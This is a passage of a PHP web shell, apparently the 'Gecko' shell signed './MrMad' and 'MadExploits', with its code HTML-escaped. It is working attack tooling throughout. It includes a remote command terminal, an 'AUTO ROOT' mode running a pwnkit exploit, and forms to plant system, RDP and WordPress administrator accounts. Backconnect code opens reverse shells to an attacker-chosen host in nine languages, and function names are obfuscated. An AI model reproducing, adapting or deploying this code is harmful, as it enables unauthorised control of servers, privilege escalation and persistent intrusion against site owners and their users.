                                &lt;td&gt;&lt;input type=&quot;checkbox&quot; name=&quot;check[]&quot; value=&quot;&lt;?= $_F ?&gt;&quot;&gt;&amp;nbsp;&lt;?= file_ext($_F) ?&gt;&amp;nbsp;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()); ?&gt;&amp;f=&lt;?= hx($_F); ?&gt;&quot; class=&quot;gecko-files&quot;&gt;&lt;?= namaPanjang($_F); ?&gt;&lt;/a&gt;&lt;/td&gt;
                                &lt;td&gt;&lt;?= formatSize(filesize($_F)); ?&gt;&lt;/td&gt;
                                &lt;td&gt;
                                    &lt;?php if (is_writable($fungsi[0]() . &#039;/&#039; . $_D)) {
                                        echo &#039;&lt;font color=&quot;#00ff00&quot;&gt;&#039;;
                                    } elseif (!is_readable($fungsi[0]() . &#039;/&#039; . $_F)) {
                                        echo &#039;&lt;font color=&quot;red&quot;&gt;&#039;;
                                    }
                                    echo perms($fungsi[0]() . &#039;/&#039; . $_F);
                                    ?&gt;
                                &lt;/td&gt;
                                &lt;!-- Action File Manager --&gt;
                                &lt;td&gt;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()); ?&gt;&amp;re=&lt;?= hx($_F) ?&gt;&quot; class=&quot;badge-action-editor&quot;&gt;&lt;i class=&quot;fa-solid fa-pen-to-square&quot;&gt;&lt;/i&gt;&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()); ?&gt;&amp;ch=&lt;?= hx($_F) ?&gt;&quot; class=&quot;badge-action-chmod&quot;&gt;&lt;i class=&quot;fa-solid fa-user-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;?d=&lt;?= hx($fungsi[0]()); ?&gt;&amp;don=&lt;?= hx($_F) ?&gt;&quot; class=&quot;badge-action-download&quot;&gt;&lt;i class=&quot;fa-solid fa-download&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/td&gt;
                            &lt;/tr&gt;
                        &lt;?php endif; ?&gt;
                    &lt;?php endforeach; ?&gt;
                &lt;/tbody&gt;
        &lt;/table&gt;
        &lt;br&gt;
        &lt;select name=&quot;gecko-select&quot; class=&quot;btn-submit&quot;&gt;
            &lt;option value=&quot;delete&quot;&gt;Delete&lt;/option&gt;
            &lt;option value=&quot;unzip&quot;&gt;Unzip&lt;/option&gt;
            &lt;option value=&quot;zip&quot;&gt;Zip&lt;/option&gt;&lt;br&gt;
        &lt;/select&gt;
        &lt;input type=&quot;submit&quot; name=&quot;submit-action&quot; value=&quot;Submit&quot; class=&quot;btn-submit&quot; style=&quot;padding: 8.3px 35px;&quot;&gt;
        &lt;/form&gt;

        &lt;!-- Modal Pop Jquery Create Folder/File By ./MrMad --&gt;
        &lt;div class=&quot;modal&quot;&gt;
            &lt;div class=&quot;modal-container&quot;&gt;
                &lt;div class=&quot;modal-header&quot;&gt;
                    &lt;h3&gt;&lt;b&gt;&lt;i id=&quot;modal-title&quot;&gt;${this.title}&lt;/i&gt;&lt;/b&gt;&lt;/h3&gt;
                &lt;/div&gt;
                &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                    &lt;div class=&quot;modal-body&quot;&gt;
                        &lt;div id=&quot;modal-body-bc&quot;&gt;&lt;/div&gt;
                        &lt;span id=&quot;modal-input&quot;&gt;&lt;/span&gt;
                        &lt;div class=&quot;modal-btn-form&quot;&gt;
                            &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;btn-modal-close box-shadow&quot;&gt;&amp;nbsp;&lt;button class=&quot;btn-modal-close box-shadow&quot; id=&quot;close-modal&quot;&gt;Close&lt;/button&gt;
                        &lt;/div&gt;
                &lt;/form&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    &lt;/div&gt;
    &lt;?php if (isset($_GET[&#039;cpanelreset&#039;])) : ?&gt;
        &lt;div class=&quot;modal active&quot;&gt;
            &lt;div class=&quot;modal-container&quot;&gt;
                &lt;div class=&quot;modal-header&quot;&gt;
                    &lt;h3&gt;&lt;b&gt;&lt;i id=&quot;modal-title&quot;&gt;:: Cpanel Reset &lt;/i&gt;&lt;/b&gt;&lt;/h3&gt;
                &lt;/div&gt;
                &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                    &lt;div class=&quot;modal-body&quot;&gt;
                        &lt;div class=&quot;modal-isi&quot;&gt;
                            &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                                &lt;input type=&quot;email&quot; name=&quot;resetcp&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Your email : example@mail.com&quot;&gt;
                        &lt;/div&gt;
                        &lt;div class=&quot;modal-btn-form&quot;&gt;
                            &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;btn-modal-close box-shadow&quot;&gt;&amp;nbsp;&lt;a class=&quot;btn-modal-close box-shadow&quot; href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&quot;&gt;Close&lt;/a&gt;
                        &lt;/div&gt;
                &lt;/form&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    &lt;?php if (isset($_GET[&#039;createwp&#039;])) : ?&gt;
        &lt;div class=&quot;modal active&quot;&gt;
            &lt;div class=&quot;modal-container&quot;&gt;
                &lt;div class=&quot;modal-header&quot;&gt;
                    &lt;h3&gt;&lt;b&gt;&lt;i id=&quot;modal-title&quot;&gt;
                                &lt;center&gt;CREATE WORDPRESS ADMIN PASSWORD&lt;/center&gt;
                            &lt;/i&gt;&lt;/b&gt;&lt;/h3&gt;
                &lt;/div&gt;
                &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                    &lt;div class=&quot;modal-body&quot;&gt;
                        &lt;div class=&quot;modal-isi&quot;&gt;
                            &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                                &lt;input type=&quot;text&quot; name=&quot;db_name&quot; class=&quot;modal-create-input&quot; placeholder=&quot;DB_NAME&quot;&gt;
                                &lt;br&gt;&lt;br&gt;
                                &lt;input type=&quot;text&quot; name=&quot;db_user&quot; class=&quot;modal-create-input&quot; placeholder=&quot;DB_USER&quot;&gt;
                                &lt;br&gt;&lt;br&gt;
                                &lt;input type=&quot;text&quot; name=&quot;db_password&quot; class=&quot;modal-create-input&quot; placeholder=&quot;DB_PASSWORD&quot;&gt;
                                &lt;br&gt;&lt;br&gt;
                                &lt;input type=&quot;text&quot; name=&quot;db_host&quot; class=&quot;modal-create-input&quot; placeholder=&quot;DB_HOST&quot; value=&quot;127.0.0.1&quot;&gt;
                                &lt;br&gt;&lt;br&gt;
                                &lt;hr size=&quot;2&quot; color=&quot;black&quot; style=&quot;margin:0px 30px; border-radius:3px;&quot;&gt;
                                &lt;br&gt;&lt;br&gt;
                                &lt;input type=&quot;text&quot; name=&quot;wp_user&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Your Username&quot;&gt;
                                &lt;br&gt;&lt;br&gt;
                                &lt;input type=&quot;text&quot; name=&quot;wp_pass&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Your Password&quot;&gt;
                                &lt;br&gt;&lt;br&gt;
                        &lt;/div&gt;
                        &lt;div class=&quot;modal-btn-form&quot;&gt;
                            &lt;input type=&quot;submit&quot; name=&quot;submitwp&quot; value=&quot;Submit&quot; class=&quot;btn-modal-close box-shadow&quot;&gt;&amp;nbsp;&lt;a class=&quot;btn-modal-close box-shadow&quot; href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&quot;&gt;Close&lt;/a&gt;
                        &lt;/div&gt;
                &lt;/form&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    &lt;?php if (isset($_GET[&#039;backconnect&#039;])) : ?&gt;
        &lt;div class=&quot;modal active&quot;&gt;
            &lt;div class=&quot;modal-container&quot;&gt;
                &lt;div class=&quot;modal-header&quot;&gt;
                    &lt;h3&gt;&lt;b&gt;&lt;i id=&quot;modal-title&quot;&gt;:: Backconnect&lt;/i&gt;&lt;/b&gt;&lt;/h3&gt;
                &lt;/div&gt;
                &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                    &lt;div class=&quot;modal-body&quot;&gt;
                        &lt;select class=&quot;bc-gecko box-shadow&quot; name=&quot;gecko-bc&quot;&gt;
                            &lt;option value=&quot;-&quot;&gt;Choose Backconnect&lt;/option&gt;
                            &lt;option value=&quot;perl&quot;&gt;Perl&lt;/option&gt;
                            &lt;option value=&quot;python&quot;&gt;Python&lt;/option&gt;
                            &lt;option value=&quot;ruby&quot;&gt;Ruby&lt;/option&gt;
                            &lt;option value=&quot;bash&quot;&gt;Bash&lt;/option&gt;
                            &lt;option value=&quot;php&quot;&gt;php&lt;/option&gt;
                            &lt;option value=&quot;nc&quot;&gt;nc&lt;/option&gt;
                            &lt;option value=&quot;sh&quot;&gt;sh&lt;/option&gt;
                            &lt;option value=&quot;xterm&quot;&gt;Xterm&lt;/option&gt;
                            &lt;option value=&quot;golang&quot;&gt;Golang&lt;/option&gt;
                        &lt;/select&gt;
                        &lt;input type=&quot;text&quot; name=&quot;backconnect-host&quot; class=&quot;modal-create-input&quot; placeholder=&quot;127.0.0.1&quot;&gt;
                        &lt;br&gt;&lt;br&gt;
                        &lt;input type=&quot;number&quot; name=&quot;backconnect-port&quot; class=&quot;modal-create-input&quot; placeholder=&quot;1337&quot;&gt;
                        &lt;div class=&quot;modal-btn-form&quot;&gt;
                            &lt;input type=&quot;submit&quot; name=&quot;submit-bc&quot; value=&quot;Submit&quot; class=&quot;btn-modal-close box-shadow&quot;&gt;&amp;nbsp;&lt;a class=&quot;btn-modal-close box-shadow&quot; href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&quot;&gt;Close&lt;/a&gt;
                        &lt;/div&gt;
                &lt;/form&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    &lt;?php if (isset($_GET[&#039;mailer&#039;])) : ?&gt;
        &lt;div class=&quot;modal active&quot;&gt;
            &lt;div class=&quot;modal-container&quot;&gt;
                &lt;div class=&quot;modal-header&quot;&gt;
                    &lt;h3&gt;&lt;b&gt;&lt;i id=&quot;modal-title&quot;&gt;:: PHP Mailer&lt;/i&gt;&lt;/b&gt;&lt;/h3&gt;
                &lt;/div&gt;
                &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                    &lt;div class=&quot;modal-body&quot;&gt;
                        &lt;div class=&quot;modal-isi&quot;&gt;
                            &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                                &lt;div class=&quot;modal-mail-text&quot;&gt;
                                    &lt;textarea name=&quot;message-smtp&quot; class=&quot;box-shadow mail&quot; placeholder=&quot;&amp;nbsp;Your Text here!&quot;&gt;&lt;/textarea&gt;
                                &lt;/div&gt;
                                &lt;br&gt;
                                &lt;input type=&quot;text&quot; name=&quot;mailto-subject&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Subject&quot;&gt;
                                &lt;br&gt;&lt;br&gt;
                                &lt;input type=&quot;email&quot; name=&quot;mail-from-smtp&quot; class=&quot;modal-create-input&quot; placeholder=&quot;from : example@mail.com&quot;&gt;
                                &lt;br&gt;&lt;br&gt;
                                &lt;input type=&quot;email&quot; name=&quot;mail-to-smtp&quot; class=&quot;modal-create-input&quot; placeholder=&quot;to : example@mail.com&quot;&gt;
                        &lt;/div&gt;
                        &lt;div class=&quot;modal-btn-form&quot;&gt;
                            &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;btn-modal-close box-shadow&quot;&gt;&amp;nbsp;&lt;a class=&quot;btn-modal-close box-shadow&quot; href=&quot;?d=&lt;?= hx($fungsi[0]()) ?&gt;&quot;&gt;Close&lt;/a&gt;
                        &lt;/div&gt;
                &lt;/form&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    &lt;?php if ($_GET[&#039;f&#039;]) : ?&gt;
        &lt;div class=&quot;code-editor&quot;&gt;
            &lt;div class=&quot;code-editor-container&quot;&gt;
                &lt;div class=&quot;code-editor-head&quot;&gt;
                    &lt;h3&gt;&lt;i class=&quot;fa-solid fa-code&quot;&gt;&lt;/i&gt;&amp;nbsp; Code Editor : &lt;?= unx($_GET[&#039;f&#039;]); ?&gt;&lt;/h3&gt;
                &lt;/div&gt;
                &lt;div class=&quot;code-editor-body&quot;&gt;
                    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                        &lt;textarea name=&quot;code-editor&quot; id=&quot;code&quot; class=&quot;box-shadow&quot; autofocus&gt;&lt;?= $fungsi[10]($fungsi[11]($fungsi[0]() . &quot;/&quot; . unx($_GET[&#039;f&#039;]))); ?&gt;&lt;/textarea&gt;
                        &lt;div class=&quot;modal-btn-form&quot;&gt;
                            &lt;input type=&quot;submit&quot; name=&quot;save-editor&quot; value=&quot;Save&quot; class=&quot;btn-modal-close&quot;&gt;&amp;nbsp;&lt;button class=&quot;btn-modal-close&quot; id=&quot;close-editor&quot;&gt;Close&lt;/button&gt;
                        &lt;/div&gt;
                    &lt;/form&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    &lt;?php if ($_GET[&#039;terminal&#039;] == &quot;normal&quot;) : ?&gt;
        &lt;div class=&quot;terminal&quot;&gt;
            &lt;div class=&quot;terminal-container&quot;&gt;
                &lt;div class=&quot;terminal-head&quot;&gt;
                    &lt;ul&gt;
                        &lt;li id=&quot;terminal-title&quot;&gt;&lt;b&gt;&lt;i class=&quot;fa-solid fa-terminal&quot;&gt;&lt;/i&gt;&amp;nbsp;TERMINAL&lt;/b&gt;&lt;/li&gt;
                        &lt;li&gt;&lt;a href=&quot;&quot; class=&quot;close-terminal&quot;&gt;&lt;i class=&quot;fa-solid fa-right-from-bracket&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
                    &lt;/ul&gt;
                &lt;/div&gt;
                &lt;div class=&quot;terminal-body&quot;&gt;
                    &lt;textarea class=&quot;box-shadow&quot; disabled&gt;&lt;?php
                                                            if (isset($_POST[&#039;terminal&#039;])) {
                                                                echo $fungsi[10](cmd($_POST[&#039;terminal-text&#039;] . &quot; 2&gt;&amp;1&quot;));
                                                            }
                                                            ?&gt;&lt;/textarea&gt;
                    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                        &lt;ul&gt;
                            &lt;li&gt;&lt;input type=&quot;text&quot; name=&quot;terminal-text&quot; class=&quot;terminal-input box-shadow&quot; placeholder=&quot;&lt;?= $fungsi[9]() . &quot;@&quot; . $_SERVER[&quot;\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52&quot;]; ?&gt;&quot; autofocus&gt;&lt;/li&gt;
                            &lt;li&gt;&lt;input type=&quot;submit&quot; name=&quot;terminal&quot; value=&quot;&gt;&quot; class=&quot;btn-modal-close&quot;&gt;&lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/form&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    &lt;?php if ($_GET[&#039;terminal&#039;] == &quot;root&quot;) : ?&gt;
        &lt;div class=&quot;terminal&quot;&gt;
            &lt;div class=&quot;terminal-container&quot;&gt;
                &lt;div class=&quot;terminal-head&quot;&gt;
                    &lt;ul&gt;
                        &lt;li id=&quot;terminal-title&quot;&gt;&lt;b&gt;&lt;i class=&quot;fa-solid fa-terminal&quot;&gt;&lt;/i&gt;&amp;nbsp;AUTO ROOT&lt;/b&gt;&lt;/li&gt;
                        &lt;li&gt;&lt;a href=&quot;&quot; class=&quot;close-terminal&quot;&gt;&lt;i class=&quot;fa-solid fa-right-from-bracket&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
                    &lt;/ul&gt;
                &lt;/div&gt;
                &lt;div class=&quot;terminal-body&quot;&gt;
                    &lt;textarea name=&quot;&quot; disabled&gt;&lt;?php if ($fungsi[3](&#039;.mad-root&#039;) &amp;&amp; $fungsi[3](&#039;pwnkit&#039;)) {
                                                    $response = $fungsi[11](&#039;.mad-root&#039;);
                                                    $r_text = explode(&quot; &quot;, $response);
                                                    if ($r_text[0] == &quot;uid=0(root)&quot;) {
                                                        if (isset($_POST[&#039;submit-root&#039;])) {
                                                            echo cmd(&#039;./pwnkit &quot;&#039; . $_POST[&#039;root-terminal&#039;] . &#039;  2&gt;&amp;1&quot;&#039;);
                                                        }
                                                    } else {
                                                        echo &quot;This Device Is Not Vulnerable\n&quot;;
                                                        echo cmd(&#039;cat /etc/os-release&#039;) . &quot;\n&quot;;
                                                        echo &quot;Kernel Version : &quot; . suggest_exploit() . &quot;\n&quot;;
                                                    }
                                                } else {
                                                    $fungsi[24](&#039;.mad-root&#039;);
                                                } ?&gt;&lt;/textarea&gt;
                    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                        &lt;ul&gt;
                            &lt;li&gt;&lt;input type=&quot;text&quot; name=&quot;root-terminal&quot; class=&quot;terminal-input&quot; placeholder=&quot;&lt;?= &quot;root&quot; . &quot;@&quot; . $_SERVER[&quot;\x53\x45\x52\x56\x45\x52\x5f\x41\x44\x44\x52&quot;]; ?&gt;&quot; autofocus&gt;&lt;/li&gt;
                            &lt;li&gt;&lt;input type=&quot;submit&quot; name=&quot;submit-root&quot; value=&quot;&gt;&quot; class=&quot;btn-modal-close&quot;&gt;&lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/form&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    &lt;?php if ($_GET[&#039;re&#039;] == true) : ?&gt;
        &lt;div class=&quot;modal active&quot;&gt;
            &lt;div class=&quot;modal-container&quot;&gt;
                &lt;div class=&quot;modal-header&quot;&gt;
                    &lt;h3&gt;&lt;b&gt;&lt;i id=&quot;modal-title&quot;&gt;Rename : &lt;?= unx($_GET[&#039;re&#039;]) ?&gt;&lt;/i&gt;&lt;/b&gt;&lt;/h3&gt;
                &lt;/div&gt;
                &lt;div class=&quot;modal-body&quot;&gt;
                    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                        &lt;span id=&quot;modal-input&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;renameFile&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Rename&quot;&gt;&lt;/span&gt;
                        &lt;div class=&quot;modal-btn-form&quot;&gt;
                            &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;btn-modal-close box-shadow&quot;&gt;&amp;nbsp;&lt;button class=&quot;btn-modal-close box-shadow close-btn-s&quot;&gt;Close&lt;/button&gt;
                        &lt;/div&gt;
                    &lt;/form&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    &lt;?php if ($_GET[&#039;ch&#039;] == true) : ?&gt;
        &lt;div class=&quot;modal active&quot;&gt;
            &lt;div class=&quot;modal-container&quot;&gt;
                &lt;div class=&quot;modal-header&quot;&gt;
                    &lt;h3&gt;&lt;b&gt;&lt;i id=&quot;modal-title&quot;&gt;Change Permission : &lt;?= unx($_GET[&#039;ch&#039;]) ?&gt;&lt;/i&gt;&lt;/b&gt;&lt;/h3&gt;
                &lt;/div&gt;
                &lt;div class=&quot;modal-body&quot;&gt;
                    &lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
                        &lt;span id=&quot;modal-input&quot;&gt;&lt;input type=&quot;number&quot; name=&quot;chFile&quot; class=&quot;modal-create-input&quot; placeholder=&quot;0775&quot;&gt;&lt;/span&gt;
                        &lt;div class=&quot;modal-btn-form&quot;&gt;
                            &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;btn-modal-close box-shadow&quot;&gt;&amp;nbsp;&lt;button class=&quot;btn-modal-close box-shadow close-btn-s&quot;&gt;Close&lt;/button&gt;
                        &lt;/div&gt;
                    &lt;/form&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    &lt;script&gt;
        $(document).ready(function() {


            $(&#039;#create_folder&#039;).click(function() {
                $(&#039;.modal&#039;).show();
                $(&#039;#modal-title&#039;).html(&#039;&lt;i class=&quot;fa-solid fa-folder-plus&quot;&gt;&lt;/i&gt;&amp;nbsp;Create Folder&#039;);
                $(&#039;#modal-input&#039;).html(&#039;&lt;input type=&quot;text&quot; name=&quot;create_folder&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Create Folder&quot;&gt;&#039;);
                event.preventDefault();
            });
            $(&#039;#create_file&#039;).click(function() {
                $(&#039;.modal&#039;).show();
                $(&#039;#modal-title&#039;).html(&#039;&lt;i class=&quot;fa-solid fa-file-circle-plus&quot;&gt;&lt;/i&gt;&amp;nbsp;Create File&#039;);
                $(&#039;#modal-input&#039;).html(&#039;&lt;input type=&quot;text&quot; name=&quot;create_file&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Create File&quot;&gt;&#039;);
                event.preventDefault();
            });
            $(&#039;#lock-file&#039;).click(function() {
                $(&#039;.modal&#039;).show();
                $(&#039;#modal-title&#039;).html(&#039;&lt;i class=&quot;fa-solid fa-lock&quot;&gt;&lt;/i&gt;&amp;nbsp;LOCK FILE&#039;);
                $(&#039;#modal-input&#039;).html(&#039;&lt;input type=&quot;text&quot; name=&quot;lockfile&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Your File Name&quot;&gt;&#039;);
                event.preventDefault();
            });
            $(&#039;#root-user&#039;).click(function() {
                $(&#039;.modal&#039;).show();
                $(&#039;#modal-title&#039;).html(&#039;&lt;i class=&quot;fa-solid fa-user-plus&quot;&gt;&lt;/i&gt;&amp;nbsp;ADD USER&#039;);
                $(&#039;#modal-input&#039;).html(&#039;&lt;input type=&quot;text&quot; name=&quot;add-username&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Username&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;add-password&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Password&quot;&gt;&#039;);
                event.preventDefault();
            });

            $(&#039;#create-rdp&#039;).click(function() {
                $(&#039;.modal&#039;).show();
                $(&#039;#modal-title&#039;).html(&#039;:: CREATE RDP&#039;);
                $(&#039;#modal-input&#039;).html(&#039;&lt;input type=&quot;text&quot; name=&quot;add-rdp&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Username&quot;&gt;&lt;br&gt;&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;add-rdp-pass&quot; class=&quot;modal-create-input&quot; placeholder=&quot;Password&quot;&gt;&#039;);
                event.preventDefault();
            });

            $(&#039;#close-modal&#039;).click(function() {
                $(&#039;.modal&#039;).hide();
                event.preventDefault();
            });
            $(&#039;#close-editor&#039;).click(function() {
                $(&#039;.code-editor&#039;).hide();
                event.preventDefault();
            });

            $(&#039;.close-terminal&#039;).click(function() {
                $(&#039;.terminal&#039;).hide();
                event.preventDefault();
            });
            $(&#039;.close-btn-s&#039;).click(function() {
                $(&#039;.modal&#039;).hide();
                event.preventDefault();
            });


            var myTextarea = document.getElementById(&quot;code&quot;);

            var editor = CodeMirror.fromTextArea(myTextarea, {
                mode: &quot;xml&quot;,
                lineNumbers: true,
                theme: &quot;ayu-mirage&quot;,
                extraKeys: {
                    &quot;Ctrl-Space&quot;: &quot;autocomplete&quot;
                },
                hintOptions: {
                    completeSingle: false,
                },
            });

        });
    &lt;/script&gt;
&lt;/body&gt;

&lt;/html&gt;
&lt;?php

if (isset($_POST[&#039;submitwp&#039;])) {
    $db_name = $_POST[&#039;db_name&#039;];
    $db_user = $_POST[&#039;db_user&#039;];
    $db_pass = $_POST[&#039;db_pass&#039;];
    $db_host = $_POST[&#039;db_host&#039;];
    $wp_user = $_POST[&#039;wp_user&#039;];
    $wp_pass = password_hash($_POST[&#039;wp_pass&#039;], PASSWORD_DEFAULT);

    $conn = new mysqli($db_host, $db_user, $db_pass, $db_name);

    if ($conn-&gt;connect_error) {
        failed();
        die(&quot;Error Cug : &quot; . $conn-&gt;connect_error);
    }

    $sql = &quot;INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (&#039;$wp_user&#039;, &#039;$wp_pass&#039;, &#039;MadExploits&#039;, &#039;&#039;, &#039;&#039;, NOW(), &#039;&#039;, 0, &#039;MadExploits&#039;)&quot;;

    $sqltakeuserid = &quot;SELECT ID FROM wp_users WHERE user_login = &#039;$wp_user&#039;&quot;;

    if ($conn-&gt;query($sql) === TRUE &amp;&amp; $conn-&gt;query($sqltakeuserid)) {
        $result = $conn-&gt;query($sqltakeuserid);

        if ($result-&gt;num_rows &gt; 0) {
            $row = $result-&gt;fetch_assoc();
            $user_id = $row[&quot;ID&quot;];

            $sqlusermeta = &quot;INSERT INTO wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (&#039;&#039;, $user_id, &#039;wp_capabilities&#039;, &#039;a:1:{s:13:\&quot;administrator\&quot;;s:1:\&quot;1\&quot;;}&#039;)&quot;;

            if ($conn-&gt;query($sqlusermeta) === TRUE) {
                Success();
            } else {
                echo &quot;Error: &quot; . $sqlusermeta . &quot;\n&quot; . $conn-&gt;error;
            }
        } else {
            echo &quot;User tidak ditemukan.\n&quot;;
        }

        Success();
    } else {
        echo &quot;Error: &quot; . $sql . &quot;\n&quot; . $conn-&gt;error;
    }

    $conn-&gt;close();
}



if (isset($_GET[&#039;unlockshell&#039;])) {
    if (cmd(&quot;killall -9 php&quot;) &amp;&amp; cmd(&quot;pkill -9 php&quot;)) {
        success();
    } else {
        failed();
    }
}

if (isset($_POST[&#039;submit-bc&#039;])) {
    $HostServer = $_POST[&#039;backconnect-host&#039;];
    $PortServer = $_POST[&#039;backconnect-port&#039;];
    if ($_POST[&#039;gecko-bc&#039;] == &quot;perl&quot;) {
        echo cmd(&#039;perl -e \&#039;use Socket;$i=&quot;&#039; . $HostServer . &#039;&quot;;$p=&#039; . $PortServer . &#039;;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);&#039; . $fungsi[16] . &#039;(&quot;/bin/sh -i&quot;);};\&#039;&#039;);
    } else if ($_POST[&#039;gecko-bc&#039;] == &quot;python&quot;) {
        echo cmd(&#039;python -c \&#039;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;&#039; . $HostServer . &#039;&quot;,&#039; . $PortServer . &#039;));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);\&#039;&#039;);
    } else if ($_POST[&#039;gecko-bc&#039;] == &quot;ruby&quot;) {
        echo cmd(&#039;ruby -rsocket -e\&#039;f=TCPSocket.open(&quot;&#039; . $HostServer . &#039;&quot;,&#039; . $PortServer . &#039;).to_i;&#039; . $fungsi[16] . &#039; sprintf(&quot;/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d&quot;,f,f,f)\&#039;&#039;);
    } else if ($_POST[&#039;gecko-bc&#039;] == &quot;bash&quot;) {
        echo cmd(&#039;bash -i &gt;&amp; /dev/tcp/&#039; . $HostServer . &#039;/&#039; . $PortServer . &#039; 0&gt;&amp;1&#039;);
    } else if ($_POST[&#039;gecko-bc&#039;] == &quot;php&quot;) {
        echo cmd(&#039;php -r \&#039;$sock=fsockopen(&quot;&#039; . $HostServer . &#039;&quot;,&#039; . $PortServer . &#039;);&#039; . $fungsi[16] . &#039;(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);\&#039;&#039;);
    } else if ($_POST[&#039;gecko-bc&#039;] == &quot;nc&quot;) {
        echo cmd(&#039;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &#039; . $HostServer . &#039; &#039; . $PortServer . &#039; &gt;/tmp/f&#039;);
    } else if ($_POST[&#039;gecko-bc&#039;] == &quot;sh&quot;) {
        echo cmd(&#039;sh -i &gt;&amp; /dev/tcp/&#039; . $HostServer . &#039;/&#039; . $PortServer . &#039; 0&gt;&amp;1&#039;);
    } else if ($_POST[&#039;gecko-bc&#039;] == &quot;xterm&quot;) {
        echo cmd(&#039;xterm -display &#039; . $HostServer . &#039;:&#039; . $PortServer);
    } else if ($_POST[&#039;gecko-bc&#039;] == &quot;golang&quot;) {
        echo cmd(&#039;echo \&#039;package main;import&quot;os/&#039; . $fungsi[16] . &#039;&quot;;import&quot;net&quot;;func main(){c,_:=net.Dial(&quot;tcp&quot;,&quot;&#039; . $HostServer . &#039;:&#039; . $PortServer . &#039;&quot;);cmd:=exec.Command(&quot;/bin/sh&quot;);cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\&#039; &gt; /tmp/t.go &amp;&amp; go run /tmp/t.go &amp;&amp; rm /tmp/t.go&#039;);
    }
}


if ($_GET[&#039;terminal&#039;] == &quot;bypasser&quot;) {
    if (!$fungsi[3](&#039;.term-bypass&#039;) &amp;&amp; $fungsi[4]($fungsi[0]())) {
